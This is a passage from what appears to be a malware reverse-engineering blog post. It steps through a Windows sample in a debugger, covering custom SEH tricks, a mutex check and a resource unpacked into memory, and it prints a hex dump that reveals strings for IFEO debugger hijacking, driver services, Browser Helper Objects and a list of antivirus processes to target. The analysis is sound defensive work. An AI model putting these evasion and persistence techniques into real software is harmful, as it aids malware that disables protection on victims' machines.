0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb67.png\" width=\"664\" height=\"107\" \/><\/a><\/p>\n<p>I set a breakpoint at 0x00402210 and passed the exception to the application.&#160; As expected, the handler gets called :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image69.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb68.png\" width=\"670\" height=\"157\" \/><\/a><\/p>\n<p>A jmp to msvcrt._except_handler is performed.&#160; In that routine, 77C3930C is called. In that function, we observe<\/p>\n<ul>\n<li>a call to VirtualQuery (hProcess = FFFFFFFF, Address = 00403078, Buffer = 0012F76C and BufSize = 0x1c) <\/li>\n<li>a call to InterlockedExchange (pTarget = msvcrt.77C6A108 and NewValue = 1) <\/li>\n<li>a call to InterlockedExchange (pTarget = msvcrt.77C6A108 and NewValue = 0) <\/li>\n<li>2 calls to MSVCRT._global_unwind2 <\/li>\n<li>a call to 00401CE8, which ends up calling 004023E3. This loads a couple of pointers into registers :\n<ul>\n<li>EBX =&gt; &quot;%SystemRoot%\\system32\\&quot; <\/li>\n<li>ESI =&gt; kernel.GetProcAddress <\/li>\n<li>EDI =&gt; &quot;%ProgramFiles%\\Real\\&quot; <\/li>\n<\/ul>\n<\/li>\n<li>Then a call to 00401C33 is made, which calls 004023A8. That function manipulates FS[0] and makes it point to 0012FFB0 (stack). 0012FFB0 points to 0012FFE0<br \/>\n    <br \/><a href=\"\/wp-content\/uploads\/2010\/12\/image92.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb91.png\" width=\"672\" height=\"180\" \/><\/a> <\/li>\n<\/ul>\n<p>When the function returns, another exception is triggered :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image93.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb92.png\" width=\"631\" height=\"195\" \/><\/a><\/p>\n<p>At that time, the SEH chain still points to 0x00402210<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image94.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb93.png\" width=\"268\" height=\"77\" \/><\/a><\/p>\n<p>Pass the exception to the application (Shift+F9). This generates a debugger message that says &quot;Illegal instruction - use Shift+F7\/F8\/F9 to pass exception to program&quot;.&#160; Pass the exception again (Shift+F9).<\/p>\n<p>This brings us back at 0x00402210 (same location as a few moments ago).<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image95.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb94.png\" width=\"670\" height=\"66\" \/><\/a><\/p>\n<blockquote>\n<p>The fact that the binary uses a custom SEH record *might* be an indication that it's trying to fool automated tools by making it think that it's corrupted or broken, while it still effectively can redirect flow.&#160; You can find some more info about this concept here.<\/p>\n<\/blockquote>\n<p>Again, msvcrt.77C3930C&#160; gets called, but this time no VirtualQuery occurs.&#160; This time, the code ends up calling ntdll.ZwContinue. Parameters to the call are Arg1 : 0012F8A8 and Arg2 : 00000000 <\/p>\n<p>In that function, we get redirected to 00401C57 and in that function, 004023E3 is called (which, as expected, removes one entry from the SEH chain)<\/p>\n<p>The code continues at 0040202F. This calls 004014D1 (which is the function that will get a pointer to a string in the string table that was mentioned earlier).&#160; The string that is retrieved, is&#160; &quot;_!RKU#PNP#090921!_&quot;.<\/p>\n<p>Then, a call is made to kernel32.OpenMutexA, using the following parameters :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image71.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb70.png\" width=\"672\" height=\"59\" \/><\/a><\/p>\n<p>OpenMutexA will open an existing named mutex object (referenced by MutexName). This could be a technique, used by the binary, to find out if the malware is already running. In the kernel32.OpenMutexA function, the string is converted to Unicode, and then ntdll.ZwOpenMutant is called (Arg1 : 0012FB78, Arg2 : 00000001, Arg3 : 0012FB58) <\/p>\n<p>The call to OpenMutexA returns 0 (eax), so no jump is made to 00402162 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image96.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb95.png\" width=\"641\" height=\"200\" \/><\/a><a href=\"\/wp-content\/uploads\/2010\/12\/image97.png\"><br \/>\n    <br \/><\/a>(We have seen function 0x00402162 before - the function will release the library (tmp), delete the tmp file, and free memory. I labeled the function so it would be easier to recognize.)<\/p>\n<p>Anyways, the OpenMutexA call returned 0, so the code continues with a call to 100058FC.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image74.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb73.png\" width=\"566\" height=\"171\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image75.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb74.png\" width=\"483\" height=\"430\" \/><\/a><\/p>\n<p>In that function, it first pushes 2 dwords to the stack and then calls routine at 0x10005F00. In that routine, some pointers are pushed onto the stack, and a new exception handler record (pointing at 0x10005F54) is created.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image98.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb96.png\" width=\"358\" height=\"126\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image76.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb75.png\" width=\"546\" height=\"56\" \/><\/a><\/p>\n<p>Then function 10005908 is called. It generates the string &quot;TYPELIB&quot; on the stack, fetches a pointer to the string, and sets up the arguments for a FindResourceA() API call :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image77.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb76.png\" width=\"586\" height=\"133\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image78.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb77.png\" width=\"585\" height=\"258\" \/><\/a><\/p>\n<p>&quot;TYPELIB&quot; - interesting \ud83d\ude42<\/p>\n<p>Next, SizeofResource is called (with hModule set to 0x10000000 and hResource set to 1000C080 (eax)). The call returns 0x4289 (stored in eax).&#160; Then, LoadResource is performed :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image79.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb78.png\" width=\"583\" height=\"249\" \/><\/a><\/p>\n<p>This returns a pointer to the resource : 0x1000C0B0 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image80.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb79.png\" width=\"573\" height=\"297\" \/><\/a><\/p>\n<p>This pointer is then written onto the stack (at EBP-1C).<\/p>\n<p>Next, a VirtualAlloc() is executed, (0x10000 bytes, ReadWrite), which returns pointer 0x00380000 (stored in eax). This pointer is also written to the stack (right above the pointer to the resource).<\/p>\n<p>Next, kernel32.SetHandleCount(0x1000C0B0) is executed.<\/p>\n<p>At 1000599C, another function is called : 10002E38. This is (coincidence or not) the first pointer that was stored in the function pointer array on the stack (pointers to functions inside the dll).&#160; Inside function 10002E38, another function gets called (0x10002DCF). <\/p>\n<p>A stack setup is prepared\u2026<\/p>\n<h3><\/h3>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0012FB20   00000000  ....\n0012FB24   00004289  \u2030B..\n0012FB28   00380000  ..8.\n0012FB2C   FFFFFFFF  \u00ff\u00ff\u00ff\u00ff\n0012FB30   00380000  ..8.\n0012FB34   00000000  ....\n0012FB38   FFFFFC00  .\u00fc\u00ff\u00ff\n0012FB3C   00380000  ..8.\n0012FB40  \/0012FBA4  \u00a4\u00fb.\n0012FB44  |100059A1  \u00a1Y.  RETURN to 4E.100059A1 from 4E.10002E38<\/pre>\n<p>\u2026 followed by a loop that starts writing bytes to the newly allocated memory region (0x00380000) :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image81.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb80.png\" width=\"644\" height=\"405\" \/><\/a><\/p>\n<p>The function ends and returns to 0x100059A1.&#160; Then a couple of functions are called and eventually something that looks like an executable is written to 00390000 \u2026<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image82.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb81.png\" width=\"597\" height=\"637\" \/><\/a><\/p>\n<p>\u2026 and a little later, another set of bytes is written (to 00391xxx)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image83.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb82.png\" width=\"595\" height=\"514\" \/><\/a><\/p>\n<p>A third set of bytes (0x896) is written to 00394000 :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/12\/image84.png\"><img loading=\"lazy\" decoding=\"async\" style=\"background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/12\/image_thumb83.png\" width=\"590\" height=\"495\" \/><\/a><\/p>\n<p>and that starts to look like some of the entries we saw in the procmon report.<\/p>\n<p>Full dump :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00394000  C4 46 00 00 DA 46 00 00 EA 46 00 00 02 47 00 00  \u00c4F..\u00daF..\u00eaF..G..\n00394010  18 47 00 00 30 47 00 00 40 47 00 00 52 47 00 00  G..0G..@G..RG..\n00394020  60 47 00 00 6E 47 00 00 82 47 00 00 92 47 00 00  `G..nG..\u201aG..\u2019G..\n00394030  A2 47 00 00 B4 47 00 00 C4 47 00 00 DC 47 00 00  \u00a2G..\u00b4G..\u00c4G..\u00dcG..\n00394040  F0 47 00 00 10 48 00 00 28 48 00 00 00 00 00 00  \u00f0G..H..(H......\n00394050  48 48 00 00 5C 48 00 00 6A 48 00 00 7A 48 00 00  HH..\\H..jH..zH..\n00394060  86 48 00 00 94 48 00 00 A6 48 00 00 C2 48 00 00  \u2020H..\u201dH..\u00a6H..\u00c2H..\n00394070  D0 48 00 00 E6 48 00 00 F6 48 00 00 06 49 00 00  \u00d0H..\u00e6H..\u00f6H..I..\n00394080  16 49 00 00 2C 49 00 00 40 49 00 00 4C 49 00 00  I..,I..@I..LI..\n00394090  5E 49 00 00 6A 49 00 00 76 49 00 00 84 49 00 00  ^I..jI..vI..\u201eI..\n003940A0  92 49 00 00 9E 49 00 00 A6 49 00 00 B2 49 00 00  \u2019I..\u017eI..\u00a6I..\u00b2I..\n003940B0  BE 49 00 00 CE 49 00 00 EA 49 00 00 F8 49 00 00  \u00beI..\u00ceI..\u00eaI..\u00f8I..\n003940C0  0A 4A 00 00 1A 4A 00 00 2E 4A 00 00 40 4A 00 00  .J..J...J..@J..\n003940D0  56 4A 00 00 6C 4A 00 00 82 4A 00 00 94 4A 00 00  VJ..lJ..\u201aJ..\u201dJ..\n003940E0  A8 4A 00 00 B8 4A 00 00 C6 4A 00 00 D6 4A 00 00  \u00a8J..\u00b8J..\u00c6J..\u00d6J..\n003940F0  EA 4A 00 00 FC 4A 00 00 12 4B 00 00 20 4B 00 00  \u00eaJ..\u00fcJ..K.. K..\n00394100  32 4B 00 00 40 4B 00 00 56 4B 00 00 6A 4B 00 00  2K..@K..VK..jK..\n00394110  76 4B 00 00 84 4B 00 00 9C 4B 00 00 B0 4B 00 00  vK..\u201eK..\u0153K..\u00b0K..\n00394120  C4 4B 00 00 D4 4B 00 00 EA 4B 00 00 00 00 00 00  \u00c4K..\u00d4K..\u00eaK......\n00394130  08 4C 00 00 12 4C 00 00 1C 4C 00 00 26 4C 00 00  L..L..L..&amp;L..\n00394140  2E 4C 00 00 38 4C 00 00 4E 4C 00 00 5A 4C 00 00  .L..8L..NL..ZL..\n00394150  00 00 00 00 00 00 00 00 5C 5C 2E 5C 53 54 4D 33  ........\\\\.\\STM3\n00394160  32 4B 72 6E 6C 00 00 00 77 75 61 75 73 65 72 76  2Krnl...wuauserv\n00394170  00 00 00 00 6B 65 72 6E 65 6C 33 32 00 00 00 00  ....kernel32....\n00394180  6E 74 64 6C 6C 2E 64 6C 6C 00 00 00 53 61 66 65  ntdll.dll...Safe\n00394190  33 32 2E 4D 75 74 61 6E 74 4E 61 6D 65 00 00 00  32.MutantName...\n003941A0  53 61 66 65 33 32 2E 45 76 65 6E 74 00 00 00 00  Safe32.Event....\n003941B0  2E 63 72 74 00 00 00 00 2E 33 38 36 00 00 00 00  .crt.....386....\n003941C0  5C 70 73 61 70 69 2E 64 6C 6C 00 00 25 53 79 73  \\psapi.dll..%Sys\n003941D0  74 65 6D 72 6F 6F 74 25 5C 73 79 73 74 65 6D 33  temroot%\\system3\n003941E0  32 5C 70 73 61 70 69 2E 64 6C 6C 00 5C 5C 2E 5C  2\\psapi.dll.\\\\.\\\n003941F0  33 36 30 53 65 6C 66 50 72 6F 74 65 63 74 69 6F  360SelfProtectio\n00394200  6E 00 00 00 5C 5C 2E 5C 33 36 30 53 70 53 68 61  n...\\\\.\\360SpSha\n00394210  64 6F 77 30 00 00 00 00 73 66 63 2E 64 6C 6C 00  dow0....sfc.dll.\n00394220  25 53 79 73 74 65 6D 72 6F 6F 74 25 5C 73 79 73  %Systemroot%\\sys\n00394230  74 65 6D 33 32 5C 77 75 61 75 63 6C 74 2E 65 78  tem32\\wuauclt.ex\n00394240  65 00 00 00 2D 38 44 35 46 2D 34 35 32 39 2D 00  e...-8D5F-4529-.\n00394250  2D 72 61 76 2D 00 00 00 63 61 6C 63 00 00 00 00  -rav-...calc....\n00394260  5C 3F 3F 5C 00 00 00 00 46 41 54 33 32 00 00 00  \\??\\....FAT32...\n00394270  5C 5C 2E 5C 25 63 3A 00 5C 52 65 67 69 73 74 72  \\\\.\\%c:.\\Registr\n00394280  79 5C 4D 61 63 68 69 6E 65 5C 00 00 49 6D 61 67  y\\Machine\\..Imag\n00394290  65 50 61 74 68 00 00 00 54 79 70 65 00 00 00 00  ePath...Type....\n003942A0  53 74 61 72 74 00 00 00 45 72 72 6F 72 43 6F 6E  Start...ErrorCon\n003942B0  74 72 6F 6C 00 00 00 00 53 59 53 54 45 4D 5C 43  trol....SYSTEM\\C\n003942C0  75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 74  urrentControlSet\n003942D0  5C 53 65 72 76 69 63 65 73 5C 25 30 38 78 00 00  \\Services\\%08x..\n003942E0  44 65 62 75 67 67 65 72 00 00 00 00 6E 74 73 64  Debugger....ntsd\n003942F0  20 2D 64 00 45 76 65 72 79 6F 6E 65 00 00 00 00   -d.Everyone....\n00394300  4D 41 43 48 49 4E 45 5C 25 73 00 00 00 00 00 00  MACHINE\\%s......\n00394310  53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F  SOFTWARE\\Microso\n00394320  66 74 5C 57 69 6E 64 6F 77 73 20 4E 54 5C 43 75  ft\\Windows NT\\Cu\n00394330  72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 49 6D 61  rrentVersion\\Ima\n00394340  67 65 20 46 69 6C 65 20 45 78 65 63 75 74 69 6F  ge File Executio\n00394350  6E 20 4F 70 74 69 6F 6E 73 00 00 00 00 00 00 00  n Options.......\n00394360  53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F  SOFTWARE\\Microso\n00394370  66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65  ft\\Windows\\Curre\n00394380  6E 74 56 65 72 73 69 6F 6E 5C 45 78 70 6C 6F 72  ntVersion\\Explor\n00394390  65 72 5C 42 72 6F 77 73 65 72 20 48 65 6C 70 65  er\\Browser Helpe\n003943A0  72 20 4F 62 6A 65 63 74 73 00 00 00 33 36 30 72  r Objects...360r\n003943B0  65 61 6C 70 72 6F 2E 65 78 65 00 00 7B 42 36 39  ealpro.exe..{B69\n003943C0  46 33 34 44 44 2D 46 30 46 39 2D 34 32 44 43 2D  F34DD-F0F9-42DC-\n003943D0  39 45 44 44 2D 39 35 37 31 38 37 44 41 36 38 38  9EDD-957187DA688\n003943E0  44 7D 00 00 25 25 53 79 73 74 65 6D 72 6F 6F 74  D}..%%Systemroot\n003943F0  25 25 5C 73 79 73 74 65 6D 33 32 5C 64 72 69 76  %%\\system32\\driv\n00394400  65 72 73 5C 25 73 2E 73 79 73 00 00 6B 70 70 74  ers\\%s.sys..kppt\n00394410  72 61 79 2E 65 78 65 00 47 65 74 4D 6F 64 75 6C  ray.exe.GetModul\n00394420  65 46 69 6C 65 4E 61 6D 65 45 78 41 00 00 00 00  eFileNameExA....\n00394430  70 73 61 70 69 00 00 00 33 36 30 53 65 6C 66 50  psapi...360SelfP\n00394440  72 6F 74 65 63 74 69 6F 6E 00 00 00 71 75 74 6D  rotection...qutm\n00394450  69 70 63 00 71 75 74 6D 64 72 76 00 68 6F 6F 6B  ipc.qutmdrv.hook\n00394460  70 6F 72 74 00 00 00 00 42 41 50 49 44 52 56 00  port....BAPIDRV.\n00394470  45 66 69 4D 6F 6E 00 00 4C 69 76 65 55 70 64 61  EfiMon..LiveUpda\n00394480  74 65 33 36 30 2E 65 78 65 00 00 00 5A 68 75 44  te360.exe...ZhuD\n00394490  6F 6E 67 46 61 6E 67 59 75 2E 65 78 65 00 00 00  ongFangYu.exe...\n003944A0  33 36 30 72 70 2E 65 78 65 00 00 00 33 36 30 73  360rp.exe...360s\n003944B0  64 2E 65 78 65 00 00 00 65 67 75 69 2E 65 78 65  d.exe...egui.exe\n003944C0  00 00 00 00 65 6B 72 6E 2E 65 78 65 00 00 00 00  ....ekrn.exe....\n003944D0  72 73 74 72 61 79 2E 65 78 65 00 00 6B 61 76 73  rstray.exe..kavs\n003944E0  74 61 72 74 2E 65 78 65 00 00 00 00 61 76 70 2E  tart.exe....avp.\n003944F0  65 78 65 00 73 61 66 65 62 6F 78 74 72 61 79 2E  exe.safeboxtray.\n00394500  65 78 65 00 6E 6F 64 33 32 6B 72 6E 2E 65 78 65  exe.nod32krn.exe\n00394510  00 00 00 00 33 36 30 74 72 61 79 2E 65 78 65 00  ....360tray.exe.\n00394520  70 45 00 00 00 00 00 00 00 00 00 00 3A 48 00 00  pE..........:H..\n00394530  00 40 00 00 C0 45 00 00 00 00 00 00 00 00 00 00  .@..\u00c0E..........\n00394540  FA 4B 00 00 50 40 00 00 A0 46 00 00 00 00 00 00  \u00faK..P@.. F......\n00394550  00 00 00 00 42 4C 00 00 30 41 00 00 00 00 00 00  ....BL..0A......\n00394560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n00394570  C4 46 00 00 DA 46 00 00 EA 46 00 00 02 47 00 00  \u00c4F..\u00daF..\u00eaF..G..\n00394580  18 47 00 00 30 47 00 00 40 47 00 00 52 47 00 00  G..0G..@G..RG..\n00394590  60 47 00 00 6E 47 00 00 82 47 00 00 92 47 00 00  `G..nG..\u201aG..\u2019G..\n003945A0  A2 47 00 00 B4 47 00 00 C4 47 00 00 DC 47 00 00  \u00a2G..\u00b4G..\u00c4G..\u00dcG..\n003945B0  F0 47 00 00 10 48 00 00 28 48 00 00 00 00 00 00  \u00f0G..H..(H......\n003945C0  48 48 00 00 5C 48 00 00 6A 48 00 00 7A 48 00 00  HH..\\H..jH..zH..\n003945D0  86 48 00 00 94 48 00 00 A6 48 00 00 C2 48 00 00  \u2020H..\u201dH..\u00a6H..\u00c2H..\n003945E0  D0 48 00 00 E6 48 00 00 F6 48 00 00 06 49 00 00  \u00d0H..\u00e6H..\u00f6H..I..\n003945F0  16 49 00 00 2C 49 00 00 40 49 00 00 4C 49 00 00  I..,I..@I..LI..\n00394600  5E 49 00 00 6A 49 00 00 76 49 00 00 84 49 00 00  ^I..jI..vI..\u201eI..\n00394610  92 49 00 00 9E 49 00 00 A6 49 00 00 B2 49 00 00  \u2019I..\u017eI..\u00a6I..\u00b2I..\n00394620  BE 49 00 00 CE 49 00 00 EA 49 00 00 F8 49 00 00  \u00beI..\u00ceI..\u00eaI..\u00f8I..\n00394630  0A 4A 00 00 1A 4A 00 00 2E 4A 00 00 40 4A 00 00  .J..J...J..@J..\n00394640  56 4A 00 00 6C 4A 00 00 82 4A 00 00 94 4A 00 00  VJ..lJ..\u201aJ..\u201dJ..\n00394650  A8 4A 00 00 B8 4A 00 00 C6 4A 00 00 D6 4A 00 00  \u00a8J..\u00b8J..\u00c6J..\u00d6J..\n00394660  EA 4A 00 00 FC 4A 00 00 12 4B 00 00 20 4B 00 00  \u00eaJ..\u00fcJ..K.. K..\n00394670  32 4B 00 00 40 4B 00 00 56 4B 00 00 6A 4B 00 00  2K..@K..VK..jK..\n00394680  76 4B 00 00 84 4B 00 00 9C 4B 00 00 B0 4B 00 00  vK..\u201eK..\u0153K..\u00b0K..\n00394690  C4 4B 00 00 D4 4B 00 00 EA 4B 00 00 00 00 00 00  \u00c4K..\u00d4K..\u00eaK......\n003946A0  08 4C 00 00 12 4C 00 00 1C 4C 00 00 26 4C 00 00  L..L..L..&amp;L..\n003946B0  2E 4C 00 00 38 4C 00 00 4E 4C 00 00 5A 4C 00 00  .L..8L..NL..ZL..\n003946C0  00 00 00 00 3E 00 43 6C 6F 73 65 53 65 72 76 69  ....&gt;.CloseServi\n003946D0  63 65 48 61 6E 64 6C 65 00 00 3E 02 53 74 61 72  ceHandle..&gt;Star\n003946E0  74 53 65 72 76 69 63 65 41 00 36 00 43 68 61 6E  tServiceA.6.Chan\n003946F0  67 65 53 65 72 76 69 63 65 43 6F 6E 66 69 67 41  geServiceConfigA\n00394700  00 00 BC 01 51 75 65 72 79 53 65 72 76 69 63 65  ..\u00bcQueryService\n00394710  43 6F 6E 66 69 67 41 00 C2 01 51 75 65 72 79 53  ConfigA.\u00c2QueryS\n00394720  65 72 76 69 63 65 53 74 61 74 75 73 45 78 00 00  erviceStatusEx..\n00394730  AD 01 4F 70 65 6E 53 65 72 76 69 63 65 41 00 00  \u00adOpenServiceA..\n00394740  AB 01 4F 70 65 6E 53 43 4D 61 6E 61 67 65 72 41  \u00abOpenSCManagerA\n00394750  00 00 D5 01 52 65 67 45 6E 75 6D 4B 65 79 41 00  ..\u00d5RegEnumKeyA.\n00394760  C9 01 52 65 67 43 6C 6F 73 65 4B 65 79 00 E7 01  \u00c9RegCloseKey.\u00e7\n00394770  52 65 67 51 75 65 72 79 49 6E 66 6F 4B 65 79 41  RegQueryInfoKeyA\n00394780  00 00 D0 01 52 65 67 44 65 6C 65 74 65 4B 65 79  ..\u00d0RegDeleteKey\n00394790  41 00 E2 01 52 65 67 4F 70 65 6E 4B 65 79 45 78  A.\u00e2RegOpenKeyEx\n003947A0  41 00 F9 01 52 65 67 53 65 74 56 61 6C 75 65 45  A.\u00f9RegSetValueE\n003947B0  78 41 00 00 CC 01 52 65 67 43 72 65 61 74 65 4B  xA..\u00ccRegCreateK\n003947C0  65 79 41 00 28 02 53 65 74 4E 61 6D 65 64 53 65  eyA.(SetNamedSe\n003947D0  63 75 72 69 74 79 49 6E 66 6F 41 00 1F 02 53 65  curityInfoA.Se\n003947E0  74 45 6E 74 72 69 65 73 49 6E 41 63 6C 41 00 00  tEntriesInAclA..\n003947F0  23 00 42 75 69 6C 64 45 78 70 6C 69 63 69 74 41  #.BuildExplicitA\n00394800  63 63 65 73 73 57 69 74 68 4E 61 6D 65 41 00 00  ccessWithNameA..\n00394810  FF 00 47 65 74 4E 61 6D 65 64 53 65 63 75 72 69  \u00ff.GetNamedSecuri\n00394820  74 79 49 6E 66 6F 41 00 CD 01 52 65 67 43 72 65  tyInfoA.\u00cdRegCre\n00394830  61 74 65 4B 65 79 45 78 41 00 41 44 56 41 50 49  ateKeyExA.ADVAPI\n00394840  33 32 2E 64 6C 6C 00 00 77 01 47 65 74 4D 6F 64  32.dll..wGetMod\n00394850  75 6C 65 48 61 6E 64 6C 65 41 00 00 7A 02 4F 70  uleHandleA..zOp\n00394860  65 6E 50 72 6F 63 65 73 73 00 8C 02 50 72 6F 63  enProcess.\u0152Proc\n00394870  65 73 73 33 32 4E 65 78 74 00 B3 03 6C 73 74 72  ess32Next.\u00b3lstr\n00394880  63 6D 70 69 41 00 2E 00 43 6C 6F 73 65 48 61 6E  cmpiA...CloseHan\n00394890  64 6C 65 00 8A 02 50 72 6F 63 65 73 73 33 32 46  dle.\u0160Process32F\n003948A0  69 72 73 74 00 00 6C 00 43 72 65 61 74 65 54 6F  irst..l.CreateTo\n003948B0  6F 6C 68 65 6C 70 33 32 53 6E 61 70 73 68 6F 74  olhelp32Snapshot\n003948C0  00 00 76 03 56 69 72 74 75 61 6C 46 72 65 65 00  ..vVirtualFree.\n003948D0  3B 01 47 65 74 43 75 72 72 65 6E 74 50 72 6F 63  